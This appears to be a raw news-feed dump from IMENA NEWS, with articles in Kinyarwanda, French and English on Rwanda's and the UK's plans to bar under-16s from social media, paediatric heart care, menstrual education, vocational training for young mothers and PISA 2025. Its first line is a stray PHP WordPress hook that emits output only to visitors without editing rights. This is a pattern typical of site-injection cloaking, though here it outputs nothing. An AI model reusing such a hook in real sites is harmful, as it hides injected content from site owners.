function wp_pf_8158d466(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_8158d466");
The post Ubwongereza: Abana bari munsi y’imyaka 16 baciwe ku mbuga nkoranyambaga, ibi ubundi bishyirwa mu ngiro gute? first appeared on IMENA NEWS.
]]>Keir Starmer yavuze ko imbuga nkoranyambaga zirimo gutera agahinda mu bana, gutuma bibasirwa, kandi “zikoze ku buryo zibahindura imbata”.
Starmer yongeyeho ko iki cyemezo ari ikintu “buri mubyeyi yifuzaga”.
Iki ni icyemezo cyashimije bamwe mu babyeyi n’imiryango iharanira uburenganzira bw’abana, ariko bamwe mu bana batagejeje iyo myaka babwiye BBC ko bababajwe n’iki cyemezo.
Imbuga zizaba zibujijwe kuri abo bana zirimo Snapchat, TikTok, YouTube, Instagram, Facebook na X, nk’uko leta y’icyo gihugu ibitangaza.
Urutonde rurambuye rw’izizaba zibujijwe ntabwo ruratangazwa.
Starmer yavuze ko leta ye yumvise kandi ikigira ku bindi bihugu nka Australia aho itegeko nk’iri ririmo gushyirwa mu bikorwa.
Iri tegeko rya leta rigomba guca mu nteko ishingamategeko, yaryemeza rigatangira kubahirizwa mu ntangiriro z’umwaka utaha.
Imbuga nkoranyambaga ni ‘platforms’ z’ibigo byigenga, byinshi biba bikorera hanze y’ibihugu bishyiraho amategeko nk’iri Ubwongereza bwiyemeje gushyiraho.
Ibihugu byinshi ku isi, harimo n’ibyo mu karere nk’u Rwanda, byamaze kwerekana impungenge bitewe n’ingaruka z’imbuga nkoranyambaga ku bana, ndetse bimwe birimo gutekereza ku mategeko nk’iri.
Mu gushyira mu bikorwa iryo tegeko, leta y’Ubwongereza ivuga ko hazakoresha uburyo bwayo “bwizewe cyane bwo kugenzura imyaka” – ikintu na biriya bigo bifite izo mbuga bisanzwe bikoresha mu kwemeza imyaka y’ushaka kuzijyaho.

Insiguro y’isanamu,Keir Starmer atangaza icyemezo cyafashwe na leta ye cyo guca abatagejeje ku myaka 16 ku mbuga nkoranyambaga
Hari kandi gusaba kompanyi zifite ziriya mbuga gukoresha ikoranabuhanga ribasha kugereranya nta kwibeshya cyangwa kugenzura imyaka – nko gukorera isura ‘scan’ no kwaka indangamuntu.
Ikigo gishinzwe itumanaho cya leta y’Ubwongereza, Ofcom, cyasabwe gukora inyigo yihuse yo kumenya uburyo buruta ubundi bwo kugenzura niba umuntu arengeje imyaka 16.
Mu Bwongereza, imbuga zimwe, harimo n’izibaho amashusho ya ‘pornography’, zibanza gukora igenzura ry’imyaka mu kubuza abana kubona amashusho yagenewe abantu bakuru.
Ariko bene ubwo buryo bwose bwagiye bunengwa cyane n’abaharanira uburenganzira bavuga ko gusaba umuntu indangamuntu ye cyangwa amakuru ya ‘biometric’ ye ari ugushyira mu kaga amakuru bwite y’umuntu, n’umutekano we.
Hari impungenge zagaragajwe mbere z’ubushobozi bw’urubyiruko rutagejeje ku myaka 16 bwo gukoresha virtual private networks (VPNs) mu kurenga ku mategeko nk’aya.
Keir Starmer avuga ko bazi neza ko bamwe mu rubyiruko bazagerageza guca ku ruhande rw’itegeko bagakoresheje ubwo buryo.
![]()
The post Ubwongereza: Abana bari munsi y’imyaka 16 baciwe ku mbuga nkoranyambaga, ibi ubundi bishyirwa mu ngiro gute? first appeared on IMENA NEWS.
]]>The post U Rwanda rwakiriye Abanya-Israel b’inzobere mu kuvura indwara z’umutima zifata abana first appeared on IMENA NEWS.
]]>Iri tsinda ryageze i Kigali mu gitondo cyo kuri uyu wa 14 Kamena 2026. Ryazanywe n’Umuryango Save a Child Heart wo muri Israel.
Save a Child’s Heart yazanye izi nzobere binyuze mu bufatanye isanzwe ifitanye na Minisiteri y’Ubuzima y’u Rwanda, mu rwego rwo guteza imbere ubuvuzi bw’umutima mu bana.
Binyuze muri iyi gahunda, abaganga b’inzobere mu kuvura izi ndwara boherezwa mu Rwanda kuvura abana bafite ibibazo, guhugura abaganga bo mu Rwanda ndetse no kohereza abo bana muri Israel kugira ngo bavurirweyo.
Kuri iyi nshuro aba baganga baje mu Rwanda kuvura abana bafite ibibazo by’umutima, aho bazabavura hifashishijwe ikoranabuhanga rituma badafungura igituza, ahubwo hakanyuzwa utwuma mu mitsi, rizwi nka ‘catheterization’.
Catheterization ni uburyo bugezweho, aho kugira ngo umwana bamubage, bifashisha utwuma tujya kumera nk’urusinga bakakanyuza mu mitsi hanyuma bakagenzura hifashishijwe ibyuma byabugenewe biba binafite za ecran nini, ikibazo umwana afite kigakosorwa.
Mu gihe bishobora gufata icyumweru ngo uwabazwe umutima atangire gukira, uwavuwe hifashishijwe ubu buryo we bisaba amasaha atageze kuri 24 akaba yakize.
Ni uburyo buhenda cyane kuko nko ku mwana umwe muri rusange, kumuvura bidashobora kujya munsi ya miliyoni 5 Frw, icyiza kikaba ko abavurirwa muri KFH, bifashisha ubwishingizi, nko ku muntu ukoresha Mituweli akishyura 10% asabwa.
Umuyobozi Mukuru wa Save a Child’s Heart, Simon Fisher, yavuze ko aba baganga bazamara icyumweru mu bitaro bya Faisal bavura abana bafite indwara z’umutima bagera kuri 25.
Ati “Muri iki cyumweru tuzakora ibikorwa byo kuvura indwara z’umutima zifata bana. Tuzafasha byibuze abana bari hagati ya 15 na 25 mu bitaro byitiriwe Umwami Faisal.”
Yakomeje avuga ko ibi bikorwa bazabikora bafatanyije n’abaganga b’Abanyarwanda bahuguriwe muri Israel, ndetse ko ari bo bazaba bayoboye ibi bikorwa byo kuvura indwara z’umutima z’abana.
Ati “Icy’ingenzi ni uko uru rugendo tujemo rwo kuvura indwara z’umutima zifata abana, mu bikorwa tuzakora byo kubavura bizaba biyobowe n’abaganga b’Abanyarwanda bahawe ubumenyi muri Israel.”
Muri uru rugendo, aba baganga bazanye n’Umuganga w’Umunyarwanda witwa Nsanzimana Jean de Dieu uri kwihugura ku bijyanye no kubaga umutima w’abana muri Israel.
Dr. Nsansimana Jean de Dieu, yavuze ko ikibazo cy’indwara z’umutima mu bana gihangayikishije Isi kubera ko umwana umwe mu bana 100 akivukana ndetse ko 25% muri byo biba bikenewe kubagwa.
Ati “Iyo abana bavukanye ibi bibazo by’umutima ntabwo bakura neza, bagira ibibazo byo guhumeka ndetse bakagira n’ibibazo by’ubwenge kuko usanga mu ishuri aba atameze nk’abandi.”
Yakomeje avuga ko impamvu bakomeza kujya kwihugura hanze y’u Rwanda ari mu rwego rwo kugira ngo u Rwanda rukomeze kugira abaganga b’inzobere mu kubaga indwara z’umutima z’abana, kubera ko haba hari benshi bakeneye guhabwa iyi serivisi ariko bikagorana kubera ubuke bw’abaganga babizi.
Ati “Tuba dufite nk’abana 300 cyangwa 400 batarabagwa kubera ko abaganga bakiri bake, nubwo abo bana baba bategereje dufite icyizere cy’uko mu minsi iri imbere abaganga babifitemo ubunararibonye nibamara kuba benshi, tuzajya tubaga abana benshi ndetse n’aba baganga baturuka hanze baza kudufasha batuma uwo mubare ugenda ugabanyuka.”

Itsinda ry’abaganga b’inzobere b’Abanya-Israel mu kuvura indwara z’umutima ryageze i Kigali

Iri tsinda ryakiriwe n’abakozi bo mu bitaro byitiriwe Umwami Faisal

Nyuma yo kugera i Kigali, izi nzobere zafashe ifoto y’urwibutso

Umuyobozi Mukuru wa Save a Child’s Heart, Simon Fisher, yavuze ko aba baganga bazamara icyumweru mu bitaro bya Faisal
![]()
The post U Rwanda rwakiriye Abanya-Israel b’inzobere mu kuvura indwara z’umutima zifata abana first appeared on IMENA NEWS.
]]>The post Hakwiye ingamba zihamye mu guteza imbere ubuvuzi:Ibyo Inzobere zisaba first appeared on IMENA NEWS.
]]>Ibi byagarutsweho mu nama yahuje abaganga, abayobozi b’ibitaro, abanyeshuri biga ubuvuzi n’abafatanyabikorwa bo mu rwego rw’ubuzima, aho hanasuzumwe uko gahunda yo guteza imbere serivisi zo kubaga iri gushyirwa mu bikorwa ndetse n’imbogamizi zikigaragara.
Abitabiriye inama bagaragaje ko nubwo hari intambwe ishimishije igihugu kimaze gutera mu kongera serivisi z’ubuvuzi bwihariye, hakiri ibibazo birimo ubuke bw’abaganga b’inzobere, umunaniro ukabije uterwa n’akazi kenshi, ibikoresho bidahagije hamwe n’abakozi bahitamo kujya gukorera hanze y’igihugu.
Bagaragaje ko ikibazo cyo kugumana abaganga kidakwiye kureberwa mu ruhande rw’umushahara gusa, ahubwo hakwiye no kwitabwa ku mibereho yabo, ahantu bakorera ndetse n’amahirwe yo gukomeza kwihugura no gutera imbere mu mwuga. Bavuze ko hari aho usanga abaganga bake bakora akazi kenshi cyane, bikabangamira ireme rya serivisi ndetse n’ubushobozi bwo guhugura abakiri bato.
Hanagarutswe ku ruhare rw’abayobozi b’ibitaro mu gukemura ibyo bibazo. Abatanze ibitekerezo bavuze ko abayobozi bakwiye kugira uruhare rugaragara mu biganiro birebana n’imikorere y’abakozi b’ubuzima kuko ibibazo byinshi byugarije urwego rw’ubuvuzi biboneka mu bitaro byinshi bitandukanye.
Ku bijyanye no kunoza serivisi zo kubaga, abitabiriye inama bashimye ibikorwa biri gukorerwa mu bitaro bitandukanye byo mu Rwanda, cyane cyane ibikorwaremezo n’uburyo bushya bwo kuvura bukomeje gutuma abarwayi babona ubuvuzi bwiza badakeneye kujya kwivuriza hanze y’igihugu.
Bashimye kandi uruhare rw’inzego zunganira ibikorwa byo kubaga zirimo physiotherapy, radiology na laboratwari, bavuga ko ari inkingi ikomeye ituma abaganga bashobora gutanga ubuvuzi bufite ireme. Bavuze ko nubwo izi nzego akenshi zitagarukwaho cyane, zigira uruhare runini mu gukira kw’abarwayi no kunoza ibyemezo bifatwa mu buvuzi.
Ikindi cyagarutsweho ni amahirwe igihugu gifite mu guteza imbere ubukerarugendo bushingiye ku buvuzi. Abitabiriye inama bagaragaje ko u Rwanda rukomeje kwakira abarwayi baturuka mu bihugu byo mu karere ndetse no hanze yarwo bitewe n’ubwiyongere bw’inzobere, ibikoresho bigezweho ndetse n’ibiciro by’ubuvuzi bifatwa nk’ibirushaho guhangana ku isoko ry’akarere.
Icyakora, basabye ko intego yo gukurura abarwayi bo hanze itagomba kurenza iy’ubuziranenge n’umutekano w’abarwayi. Bashimangiye ko ibitaro n’abaganga bagomba kubanza kureba niba bafite ubushobozi bwo gutanga ubuvuzi bwuzuye kandi bwizewe mbere yo kwakira abarwayi bafite ibibazo bikomeye.
Hanagarutswe ku kamaro k’ubufatanye hagati y’inzego zitandukanye mu gutanga ubuvuzi. Inzobere zagaragaje ko uburyo bwo gukorera hamwe hagati y’abaganga babaga, abatanga ikinya, abaforomo, inzobere mu gusubiza abarwayi ubuzima nyuma yo kubagwa n’izindi nzego ari bwo buryo bwafasha gutanga serivisi zinoze kandi zizewe.
Abanyeshuri biga ubuvuzi na bo bagaragaje ko biteguye kugira uruhare mu gushyigikira izi gahunda, bavuga ko hakenewe kongera amahirwe y’amahugurwa no gutegura neza abazaba abaganga b’ejo hazaza.
Abitabiriye inama basoje basaba ko ubufatanye hagati ya Leta, ibitaro byigenga, amashuri yigisha ubuvuzi n’abafatanyabikorwa mpuzamahanga bwakomeza gushimangirwa kugira ngo u Rwanda rubashe kubaka urwego rw’ubuvuzi rugezweho, rutanga serivisi zinoze kandi rushobora guhangana ku rwego mpuzamahanga.


By: Florence Uwamaliya
![]()
The post Hakwiye ingamba zihamye mu guteza imbere ubuvuzi:Ibyo Inzobere zisaba first appeared on IMENA NEWS.
]]>The post AI yatanze igisubizo k’urukingo ruzahangana na virusi nyinshi nibindi byorezo byatungurana first appeared on IMENA NEWS.
]]>Aba bashakashatsi bavuga ko ari bwo bwa mbere AI yakoreshejwe mu gutegura neza igice cy’ingenzi cy’urukingo, nyuma rukageragerezwa ku bantu. Ibi bifatwa nk’iterambere rikomeye mu rwego rw’ubuvuzi n’ubushakashatsi ku nkingo.
Intego y’uru rukingo ni ugufasha umubiri kugira ubwirinzi bushobora guhangana n’amoko atandukanye ya coronavirus, harimo n’ubwoko bwa Covid-19 ndetse n’izindi virusi zishobora kuva mu nyamaswa zikanduriza abantu mu gihe kiri imbere, zigateza ibyorezo bishya.
Nubwo ubushakashatsi bukiri mu cyiciro cya mbere, abahanga bemeza ko bushobora kugira uruhare rukomeye mu gufasha isi kwitegura no gukumira ibyorezo mbere y’uko bikwirakwira. Byongeye kandi, itsinda riri gukora ubu bushakashatsi ryatangiye no gutekereza ku nkingo zishobora guhangana n’indwara nk’ibicurane, H5N1 (ibicurane by’inyoni) ndetse na Ebola.
Mu buryo busanzwe, inkingo zikorwa hashingiwe ku bwoko bwa virusi buzwi icyo gihe. Ariko kubera ko virusi nyinshi zihinduka vuba, inkingo zisanzwe zikenera kuvugururwa kenshi kugira ngo zikomeze gukora neza. Ni yo mpamvu inkingo za Covid-19 n’iz’ibicurane zagiye zihindurwa uko igihe kigenda.
Prof. Jonathan Heeney yavuze ko akenshi abashakashatsi baba bakurikira virusi nyuma y’uko zimaze kugaragara, aho kuziteganyiriza mbere. Yasobanuye ko intego yabo ari ugukora inkingo zafasha umubiri kwitegura hakiri kare mbere y’uko habaho icyorezo gishya.
Mu gutegura uru rukingo, hifashishijwe amakuru y’uturemangingo twa coronavirus zitandukanye twakusanyijwe mu bushakashatsi bugamije kumenya virusi zishobora guteza ibyorezo. Aya makuru yashyizwe muri AI irayasesengura, nyuma ikora igice cyihariye cyiswe “super-antigène”.
Iyi “super-antigène” ifasha ubwirinzi bw’umubiri kwiga uburyo bwo kumenya no kurwanya amoko menshi ya virusi, harimo n’ashobora kuba atarahura n’umuntu mbere cyangwa se yahindutse imiterere.
Antigène ni cyo gice cy’ingenzi mu rukingo gifasha umubiri kumenya umwanzi ugomba kurwanywa. Iyo umubiri umaze kukimenya, ushobora guhita urwanya virusi igihe yinjiyemo, bikagabanya ibyago byo kurwara cyane.
Kugeza ubu, uru rukingo rwamaze kugeragerezwa ku bantu 39 hagamijwe kureba niba rutagira ingaruka mbi ku buzima. Abashakashatsi kandi barimo gutegura ikindi cyiciro cy’ubushakashatsi kizitabirwa n’abagera kuri 200, kugira ngo harebwe neza uko uru rukingo rutuma ubwirinzi bw’umubiri bukora.

Abantu 39 bamaze kugeragerezwaho uru rukingo rushya rwakozwe na AI
![]()
The post AI yatanze igisubizo k’urukingo ruzahangana na virusi nyinshi nibindi byorezo byatungurana first appeared on IMENA NEWS.
]]>The post Gasabo : L’éducation menstruelle au cœur de la protection des adolescentes first appeared on IMENA NEWS.
]]>Dans de nombreuses communautés, les menstruations demeurent entourées de tabous et de préjugés qui affectent la confiance en soi des adolescentes. Les spécialistes de la santé soulignent qu’une mauvaise gestion de l’hygiène menstruelle peut provoquer diverses infections et avoir des répercussions psychologiques liées à la stigmatisation, à la honte ou à l’isolement social.
Au cours de cette campagne, les élèves ont reçu des explications détaillées sur le cycle menstruel, la santé reproductive et les pratiques d’hygiène recommandées pendant les règles. Les organisateurs ont insisté sur l’importance de changer régulièrement les protections hygiéniques, de maintenir une bonne hygiène corporelle et de consulter un professionnel de santé en cas de complications.
Akimana Jeniffer, élève en première année du secondaire, a indiqué que certaines filles continuent d’adopter des pratiques inadaptées.
« Certaines élèves gardent la même serviette hygiénique pendant de longues heures sans la changer. Cela peut entraîner des mauvaises odeurs et augmenter le risque d’infections. Nous devons apprendre à prendre soin de notre santé », a-t-elle déclaré.
Elle a ajouté que les connaissances acquises au cours de cette séance permettront aux jeunes filles de mieux comprendre leur corps et d’adopter des comportements favorables à leur bien-être.
Parmi les bénéficiaires des serviettes réutilisables figure Turikumwe Aimée, élève de sixième année primaire. Elle estime que ce soutien contribuera à réduire les difficultés auxquelles sont confrontées de nombreuses adolescentes issues de familles vulnérables.
« Il m’arrivait parfois d’hésiter à changer ma serviette parce que je n’en avais pas d’autre à utiliser. Ces serviettes réutilisables vont nous aider à rester propres et à éviter certaines infections liées à une mauvaise hygiène », a-t-elle expliqué.
Les statistiques présentées lors de la rencontre révèlent que près de 99 % des filles du secondaire à GS Remera sont menstruées, tandis qu’environ 80 % des élèves à partir de la quatrième année primaire connaissent déjà leurs premières règles. Ces données montrent l’importance de renforcer les programmes de sensibilisation dès le plus jeune âge.
Marie Michelle Bazarama, responsable des affaires sociales au sein du Réseau des Femmes, a souligné que les garçons et les hommes doivent également être impliqués dans la lutte contre les préjugés liés aux menstruations.
« Les menstruations sont un phénomène naturel. Les filles ne devraient jamais être moquées ou exclues à cause de leurs règles. Nous devons sensibiliser toute la communauté, y compris les garçons et les parents, afin de mettre fin à la stigmatisation », a-t-elle affirmé.
Cette activité s’inscrit dans le cadre du projet SDSR-Rwanda mis en œuvre par le Réseau des Femmes en partenariat avec l’organisation canadienne L’AMIE et avec le soutien de Global Affairs Canada. Le projet est déployé dans les quinze secteurs du district de Gasabo pour promouvoir la santé sexuelle et reproductive des jeunes.
Au-delà de la distribution de serviettes hygiéniques réutilisables, les acteurs engagés dans ce programme rappellent que l’accès à l’information, à l’éducation et aux produits d’hygiène menstruelle demeure essentiel pour garantir aux adolescentes une bonne santé, préserver leur dignité et favoriser leur réussite scolaire. Pour eux, la lutte contre les tabous menstruels doit rester une priorité afin que chaque jeune fille puisse vivre ses règles sans peur, sans honte et sans discrimination.







By: Florence Uwamaliya
![]()
The post Gasabo : L’éducation menstruelle au cœur de la protection des adolescentes first appeared on IMENA NEWS.
]]>The post U Rwanda rushaka gukumira ku mbuga nkoranyambaga abatarengeje imyaka 16 first appeared on IMENA NEWS.
]]>Inkuru zo gukumira abana ku mbuga nkoranyambaga nka Facebook, TikTok Instagram, YouTube n’izindi zishyirwaho ibintu bitandukanye zumvikanye cyane muri Australia mu mpera za 2025. Muri iki gihugu ubirenzeho agafasha umwana utarengeje imyaka 16 kugera ku mbuga nkoranyambaga ashobora guhanishwa ibirimo ihazabu ya miliyoni 34,4$.
Indonesia na yo yatoye itegeko nk’iri muri werurwe 2026, ishyira imbuga nka YouTube, TikTok na X mu zateza ibibazo byo ku rwego rwo hejuru abana bari munsi y’imyaka 16.
Ubushakashatsi bwa Minisiteri y’Ikoranabuhanga na Inovasiyo, bwagaragaje ko abana 46% bajya mu by’ikoranabuhanga bifashishije telefone zirimo iz’ababyeyi n’izabo. Mu mashuri hari mudasobwa zagenewe kwigirwaho no kwifashishwa ariko zibakumira ku
Ingabire Paula yabwiye RBA ko hagati ya 30%-35% y’abana babajijwe bagaragaje ko bahura n’ibintu bibahungabanya mu buryo butandukanye.
Ati “Twasanze iyo bari kuri internet cyangwa ku mbuga nkoranyambaga cyane cyane izagaragaye ni TikTok na YouTube aho bahuriraho n’ibibazo. Yaba ari ibyo bashyiraho byangiza, ibijyanye n’imibonano mpuzabitsina, ibibazo mbese bibahungabanya mu buzima bwabo nk’abana.”
Yavuze ko abana usanga bafite ubumenyi bwisumbuye ku bw’ababyeyi n’abarimu bashinzwe kubitaho bityo bigoye kubarinda kwangizwa n’ibyo bareba ku mbuga nkoranyambaga.
Mu Rwanda umuntu afungura konti ku rubuga nkoranyambaga urwo ari rwo rwose hatitawe ku myaka afite, ndetse n’abashobora kureba amashusho cyangwa ibindi bizishyirwaho ntihitabwa ku myaka yabo.
Ingabire ati “Icyo turimo kurebera hamwe ni ugushyiraho uburyo kandi tumaze kubibona mu bindi bihugu bimaze gufata izo ngamba aho abana bafite imyaka 16 kumanura batemerewe kujya ku mbuga nkorambaga. Ni ibintu tumaze kubona mu bindi bihugu bikorwa kandi bikorwa neza, kandi tukabijyanamo neza n’ibigo bitanga internet, tukabijyanamo n’ibigo bishinzwe izo mbuga nkoranyambaga bizitunze, tukabijyanamo n’ababyeyi b’abana ku buryo umwana wese ufite imyaka 16 atemerewe gutunga konti kuri izo mbuga nkoranyambaga, atanemerewe no kuzijyaho.”
Yasobanuye ko uko ibihugu nka Indonesia na Australia byashoboye gukumira abana ku mbuga nkoranyambaga u Rwanda na rwo rwifuza ko bishyirwa mu bikorwa.
Ati “Ni byo turimo gukoraho ubu dufatanyije n’inzego zitandukanye kugira ngo turebe nidushyiraho iryo tegeko tuzaherekezanya dute n’abo bose…kugira ngo nk’uko bikora mu bindi bihugu natwe bishobore gukora mu Rwanda, dushobore kubungabunga uwo mutekano w’abana bacu nibura umwana w’imyaka 16 tube tuzi ngo izo mbuga nkoranyambaga ntashobora kuba yazijyaho.”
Yahamije ko ibi bizagabanya ibyaha bikorerwa ku ikoranabuhanga ndetse bifashe abana kujya ku bintu bagenewe bibafitiye akamaro.
Mu gihe iri tegeko ritarashyirwaho ababyeyi basabwa kugena ibyo abana bareba kuri telefone zabo kandi bakabagenera amasaha batagomba kurenza.

Minisitiri Ingabire Paula yatangaje ko hari kwigwa uburyo ibigo bitandukanye bifite imbuga nkoranyambaga byafatanya n’u Rwanda gukumira abana batarengeje imyaka 16 kuzigiraho konti no kureba ibizishyirwaho
Ntibivuguruza ikoranabuhanga mu mashuri?
Minisitiri w’Uburezi, Joseph Nsengimana yasobanuye ko ubu abanyeshuri batemerewe kujyana telefone ku mashuri kuko zishobora kubarangaza, zikababuza gukurikirana amasomo mwarimu yigisha.
Uko buri wese ufite telefone ahora ashaka kureba niba nta butumwa bugufi yandikiwe, niba nta gishya cyaje n’ibindi.
Minisitiri Ingabire yavuze ko u Rwanda rukomeza gushyira imbaraga mu burezi bushingiye ku ikoranabuhanga ariko mu buryo butangiza abana.
Ati “Turashaka kubikora mu buryo bwiza butarangiza abana, burabafasha kuzamura ireme ry’uburezi ariko bukanakumira bya bitero byifashishije ikoranabuhanga bigenda byibasira abana bacu, bigatuma barangara, bigatuma bajya mu bintu bitari byiza, harimo no gukora ibintu by’urukozasoni uzanga babikuye kuri izi mbuga nkoranyambaga.”
Muri Nzeri 2025, u Rwanda rwashyize hanze politiki yo kurengera umwana ku ikoranabuhanga.
Mu byo iteganya ni uko inzego za Leta n’ibigo bitanga serivisi kuri murandasi bazakorera hamwe mu gushyiraho uburyo bwo gutahura no gukumira amakuru ashobora gutera ihohotera rikorerwa abana, hagashyirwaho uburyo, amategeko n’amabwiriza bifasha ibigo bitanga serivisi za murandasi guhagarika imbuga zanze gukuraho ayo makuru yagaragajwe.
Hazanashyirwaho uburyo bwo gucunga abashobora gukora ibyaha, bikorwe hashingiwe ku bipimo n’imikorere inoze byo ku rwego mpuzamahanga.
Ikindi cy’ingenzi gishobora no guca intege abareba filime z’urukozasoni ni ugushyiraho ibipimo n’amabwiriza y’imyitwarire n’imikorere bifasha abubaka ikoranabuhanga, n’abatanga serivisi z’ikoranabuhanga kudatatira indangagaciro nyarwanda, hagenderewe umutekano w’abana igihe bakoresha murandasi.
Minisitiri Ingabire yavuze ko igihe indangamuku koranabuhanga izaba yamaze gutangira gukoreshwa bizaba byoroshye ko hagenderwa ku mwirondoro w’umuntu kugira ngo ashobora gukoresha zimwe mu mbuga bityo abana bazaba batemerewe kujya kuri zimwe cyangwa kureba ibiziriho.
![]()
The post U Rwanda rushaka gukumira ku mbuga nkoranyambaga abatarengeje imyaka 16 first appeared on IMENA NEWS.
]]>The post 30 Young Mothers Graduate with Vocational Skills Certificates to Build Better Futures first appeared on IMENA NEWS.
]]>This marked the 12th cohort of the organization’s initiative aimed at empowering vulnerable young mothers who had previously dropped out of school due to early pregnancy. The graduation ceremony served as an opportunity to showcase achievements and call for continued support to reach more girls in need.
The event took place in Kigali and was attended by government officials, representatives of faith-based organizations, partners, and parents. Speakers highlighted the organization’s vital role in improving the lives of young women and promoting self-reliance.
In his remarks, Ndayisaba Jean de Dieu, representing the Executive Secretary of Bumbogo Sector, commended the graduates for their determination to transform their lives and break away from harmful behaviors. He encouraged them to remain focused and continue striving for progress.
“Transformation is not only about the skills you have acquired, but also about how you apply them in your daily lives. Keep working hard and avoid anything that may take you backward,” he said.
Speaking on behalf of the graduates, Irakoze Marie Rose expressed gratitude for the skills they had gained, including hairdressing, manicure, and pedicure, which now enable them to earn a living.
“We were living in very difficult conditions, but now we have hope for the future. We are earning income that helps us rebuild our lives and take care of our children,” she said.
She added that they are no longer influenced by negative peer pressure and thanked Kura Organisation for helping them regain confidence and change their mindset.
The founder and director of Kura Organisation, Nyirakinyana Chantal, popularly known as Mama Joy, was widely praised for her dedication to uplifting young mothers. The graduates described her as a caring figure who helped them move away from difficult circumstances and rebuild their lives.
Founded in 2013, Kura Organisation focuses on supporting disadvantaged young mothers by providing vocational training and mentorship aimed at mindset transformation and personal development.
The organization began its work in Busanza and later expanded to Masizi in Bumbogo Sector, gradually growing its reach with plans to extend to other regions as resources allow.
The six-month training program runs from Monday to Friday and covers practical skills such as hairdressing, nail care, beauty services, and previously tailoring.
Beyond vocational training, the organization also emphasizes moral values and spiritual growth. Each day begins with a session dedicated to prayer, worship, and learning the Word of God an approach that leaders say has significantly contributed to positive behavioral change among participants.
Although 54 students initially enrolled, 35 successfully completed the program after a practical internship that began on August 20, 2025, and ended in April 2026. Some participants dropped out due to various challenges, including difficult living conditions.
Leaders and partners were encouraged to continue supporting the initiative through ideas, prayers, materials, and financial contributions to help expand its impact.
Kura Organisation also announced plans to enroll new groups of young mothers, aiming to help them overcome despair and isolation while contributing meaningfully to national development.
The event concluded with a strong call for collective responsibility in empowering the girl child, building a society where every young woman has dignity, capability, and hope for the future.



By Basanda Ns Oswald
![]()
The post 30 Young Mothers Graduate with Vocational Skills Certificates to Build Better Futures first appeared on IMENA NEWS.
]]>The post Umwarimu utararangije kaminuza ntazongera kwigisha mu mashuri abanza first appeared on IMENA NEWS.
]]>Ubuyobozi bwa REB buvuga ko gahunda yari isanzweho yo gutegura abarimu mu mashuri nderabarezi itagihagije, kuko imyaka itatu yonyine yigwaga nyuma ya Tronc Commun itakijyanye n’ibikenewe ku mwuga wo kwigisha muri iki gihe.
Ni muri urwo rwego hateganywa ko kwigisha mu mashuri abanza bizajya bisaba impamyabumenyi ya kaminuza, nk’uko bimeze no mu bihugu bimwe byo mu karere.
Izi mpinduka zije zinajyana n’andi mavugurura mu burezi, arimo gahunda nshya ya learning pathways, aho Leta ivuga ko byose bigamije kubaka umunyeshuri ufite ubumenyi bukomeye butangirira ku musingi mwiza.
Ni icyerekezo u Rwanda rwerekezamo cyo kugira abarimu bafite ubumenyi buhambaye kurushaho, mu rwego rwo guteza imbere ireme ry’uburezi.
![]()
The post Umwarimu utararangije kaminuza ntazongera kwigisha mu mashuri abanza first appeared on IMENA NEWS.
]]>The post Camp Kigali: Umunyeshuri w’imyaka 16 yabyariye mu ishuri first appeared on IMENA NEWS.
]]>Amakuru aturuka ku banyeshuri n’abarezi avuga ko iki gikorwa cyateje urujijo n’ihungabana rikomeye mu kigo, aho benshi batangaje ko nta wari uzi ko uwo mukobwa atwite kugeza ku munsi yabyariyeho.
Umwe mu banyeshuri yabwiye Hanga dukesha iyi nkuru ati: “Twese twatunguwe. Nta muntu wari uzi ko atwite, byari nk’ibintu bitunguranye.”
N’ababyeyi b’uwo munyeshuri batangaje ko batari bazi iby’inda y’umwana wabo, ibintu byatumye hibazwa uburyo inda ishobora kumara amezi icyenda nta muntu ubitahuye ngo habeho ubufasha cyangwa ubwirinzi bukenewe.
Hari ababyeyi n’abanyeshuri bagaragaje impungenge ku mikurire n’umutekano w’abanyeshuri, cyane cyane abakobwa b’ingimbi, bibaza niba hari uburyo buhagije bwo kubakurikirana no kubarinda ibibazo nk’ibi.
Hari kandi abakeka ko hashobora kuba harimo uruhare rw’umuntu mukuru, ndetse bamwe bagasaba ko hakorwa iperereza ryimbitse kugira ngo hamenyekane ukuri, kandi uwaba yaragize uruhare mu cyaha akabihanirwa.
Umwe mu babyeyi yagize ati: “Ntibyumvikana ukuntu umwana ashobora kugera aho ageze nta muntu ubimenye. Ubuyobozi bw’ishuri bugomba gusobanura icyo bukora mu kurinda abana.”Ubuyobozi bw’ishuri ntiburagira icyo butangaza.
BY:IMENA
![]()
The post Camp Kigali: Umunyeshuri w’imyaka 16 yabyariye mu ishuri first appeared on IMENA NEWS.
]]>The post NESA yahuje abafatanyabikorwa mu burezi baganira ku bijyanye na PISA 2025. first appeared on IMENA NEWS.
]]>
Iyi nama yahuje abayobozi b’amashuri, ababyeyi, abayobozi b’uturere bungurije bashinzwe imibereho myiza y’abaturage, abashinzwe uburezi mu turere, abafatanyabikorwa, n’abayobozi ku rwego rw’igihugu bafite aho bahuriye n’uburezi n’ibarurisha mibare ndetse n’abanyamakuru.
Ni nyuma y’uko u Rwanda rwitabiriye ku nshuro ya mbere isuzuma mpuzamahanga rya PISA mu mwaka wa 2025, rikorwa n’abanyeshuri bafite imyaka 15, rigamije gupima ubumenyi n’ubushobozi bwabo mu gusoma, imibare na siyansi, harebwa uko bashobora gukoresha ibyo bize mu buzima busanzwe no mu gukemura ibibazo biri muri sosiyete.
Mu ijambo ry’ikaze, Dr Bernard Bahati, Umuyobozi Mukuru wa NESA, yavuze ko iyi nama igamije gufasha abafatanyabikorwa gusobanukirwa PISA 2025 n’impamvu u Rwanda rwiyatabiriye, bityo umusaruro uzava muri PISA 2025, ukazatuma U Rwanda rumenya aho ruhagaze mu burezi ugereranyije n’ubwo mu rwego mpuzamahanga.
Yagize ati:
“Iki gikorwa ni intambwe ikomeye mu kugereranya ireme ry’uburezi bw’u Rwanda n’ibipimo mpuzamahanga. Usibye amakuru y’isuzuma, PISA ikusanya amakuru, ibyifuzo n’imyumvire by’abanyeshuri,bishobra gutanga umusaruro mwiza watuma habaho kunoza imikorere no guteza imbere uburezi”.
PISA ni isuzuma mpuzamahanga ryashyizweho n’Umuryango Mpuzamahanga w’Ubukungu, Ubufatanye n’Iterambere (OECD), rikaba rikorwa ku banyeshuri bafite imyaka 15 mu bihugu bisaga 90 ku Isi byitabiriye PISA 2025.
